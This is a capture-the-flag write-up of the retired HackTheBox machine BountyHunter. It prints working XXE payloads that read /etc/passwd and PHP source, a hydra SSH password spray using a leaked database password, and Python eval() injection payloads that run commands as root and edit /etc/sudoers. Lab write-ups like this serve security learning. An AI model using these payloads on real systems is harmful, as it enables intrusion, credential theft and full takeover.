HTB: BountyHunter
Posted on 28 Dec 2021 in security • 4 min read
This is a writeup about a retired HacktheBox machine: BountyHunter publish on July 25, 2021 by ejedev. This box is rated as an easy machine. It implies an XXE and some python.
Foothold
Recon
Let us start as always by a nmap
scan. Only port 80 (HTTP) and 22 (SSH) are
open.
# Nmap 7.91 scan initiated Wed Jul 28 04:40:09 2021 as: nmap -A -p- -sSV -oN notes.md 10.129.180.140
Nmap scan report for 10.129.180.140
Host is up (0.018s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 d4:4c:f5:79:9a:79:a3:b0:f1:66:25:52:c9:53:1f:e1 (RSA)
| 256 a2:1e:67:61:8d:2f:7a:37:a7:ba:3b:51:08:e8:89:a6 (ECDSA)
|_ 256 a5:75:16:d9:69:58:50:4a:14:11:7a:42:c1:b6:23:44 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Bounty Hunters
Aggressive OS guesses: Linux 4.15 - 5.6 (95%), Linux 5.3 - 5.4 (95%), Linux 2.6.32 (95%), Linux 5.0 - 5.3 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 5.0 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 1720/tcp)
HOP RTT ADDRESS
1 17.87 ms 10.10.14.1
2 18.02 ms 10.129.180.140
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Web
The website is a bug bounty one.
We launch a fuff against it, founding a
db.php
script (which return an empty page).
└─$ ./ffuf -w /usr/share/dirb/wordlists/common.txt -u http://10.129.73.239/FUZZ -e .php -mc 200
<SNIP>
db.php [Status: 200, Size: 0, Words: 1, Lines: 1]
index.php [Status: 200, Size: 25169, Words: 10028, Lines: 389]
index.php [Status: 200, Size: 25169, Words: 10028, Lines: 389]
portal.php [Status: 200, Size: 125, Words: 11, Lines: 6]
The portal allow to create a new bug report sending a base64 encoded XML to the endpoint.
This looks like an XXE (https://portswigger.net/web-security/xxe) vulnerability.
We modify the XML sent to the endpoint to retrieve /etc/passwd
.
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<bugreport>
<title>&xxe;</title>
<cwe>11</cwe>
<cvss>11</cvss>
<reward>11</reward>
</bugreport>
We urlEncode(Base64(ourPayload))
and send it to the server, getting the file back.
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
sshd:x:111:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
development:x:1000:1000:Development:/home/development:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
Next we try to retrieve the portal.php
file using our XXE vulnerability but
the file seems to be empty (which we know it is not). We use a
PHP filter to
load the file with the following payload:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=./portal.php"> ]>
<bugreport>
<title>&xxe;</title>
<cwe>11</cwe>
<cvss>11</cvss>
<reward>11</reward>
</bugreport>
We get the file but it does not contain anything interesting. We retrieve the db.php file using the same method:
<?php
// TODO -> Implement login system with the database.
$dbserver = "localhost";
$dbname = "bounty";
$dbusername = "admin";
$dbpassword = "m19RoAU0hP41A1sTsq6K";
$testuser = "test";
?>
We got the database to be password.
We create a list of user form the /etc/passwd
file and add the bounty
,
admin
and test
users to the list and launch hydra
against the SSH service.
└─$ hydra ssh://10.129.73.239 -L users -p m19RoAU0hP41A1sTsq6K
<SNIP>
[22][ssh] host: 10.129.73.239 login: development password: m19RoAU0hP41A1sTsq6K
1 of 1 target successfully completed, 1 valid password found
We can now connect to the box using the developement
user and grab the user
flag.
└─$ ssh development@10.129.73.239 #m19RoAU0hP41A1sTsq6K
development@10.129.73.239's password:
<SNIP>
development@bountyhunter:~$ id
uid=1000(development) gid=1000(development) groups=1000(development)
development@bountyhunter:~$ cat user.txt
f737187566092403094c901b3ffe6117
Root
Our development
user has the permissions to run a specific home made
python script as root.
development@bountyhunter:~$ sudo -l
Matching Defaults entries for development on bountyhunter:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User development may run the following commands on bountyhunter:
(root) NOPASSWD: /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
Looking at the script we notice that it read a file, check a few condition then eval the first line starting with **
#Skytrain Inc Ticket Validation System 0.1
#Do not distribute this file.
def load_file(loc):
if loc.endswith(".md"):
return open(loc, 'r')
else:
print("Wrong file type.")
exit()
def evaluate(ticketFile):
#Evaluates a ticket to check for ireggularities.
code_line = None
for i,x in enumerate(ticketFile.readlines()):
if i == 0:
if not x.startswith("# Skytrain Inc"):
return False
continue
if i == 1:
if not x.startswith("## Ticket to "):
return False
print(f"Destination: {' '.join(x.strip().split(' ')[3:])}")
continue
if x.startswith("__Ticket Code:__"):
code_line = i+1
continue
if code_line and i == code_line:
if not x.startswith("**"):
return False
ticketCode = x.replace("**", "").split("+")[0]
if int(ticketCode) % 7 == 4:
validationNumber = eval(x.replace("**", ""))
if validationNumber > 100:
return True
else:
return False
return False
def main():
fileName = input("Please enter the path to the ticket file.\n")
ticket = load_file(fileName)
#DEBUG print(ticket)
result = evaluate(ticket)
if (result):
print("Valid ticket.")
else:
print("Invalid ticket.")
ticket.close
main()
We write our own file a.md
to pass the few checks and got our payload inside
the eval()
statement.
# Skytrain Inc
## Ticket to toto
__Ticket Code:__
**4__import__('os').system('id')
Once we run this "ticket" we got a code execution (id
) as root.
development@bountyhunter:~$ sudo /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
Please enter the path to the ticket file.
a.md
Destination: toto
uid=0(root) gid=0(root) groups=0(root)
Invalid ticket.
We know have a few option to get a root shell (who could also just cat
the root
flag but that's lazy):
- Add a root (id 0) user to
/etc/passwd
with a password of our choice (see armageddon) - Add an ssh key to root
- run a reverse shell
- surcharge our
sudo
permissions
We will do the latest here. Our "ticket" file will be the following:
# Skytrain Inc
## Ticket to toto
__Ticket Code:__
**4+__import__('os').system('echo \'development ALL=NOPASSWD: ALL\'>> /etc/sudoers')
We run the ticketValidator.py
script with the sudo
permission and get a
root
shell and the flag.
development@bountyhunter:~$ sudo su
root@bountyhunter:/home/development# id
uid=0(root) gid=0(root) groups=0(root)
root@bountyhunter:/home/development# cd
root@bountyhunter:~# cat /root/root.txt
8bc89c35cfcc7dbce1c4f6ea0e1093d5
Wrapping up
An "easy" machine as long as you think about the PHP filter and running dirb
(or ffuf
) with the PHP extension. Then the root flag is quit easy.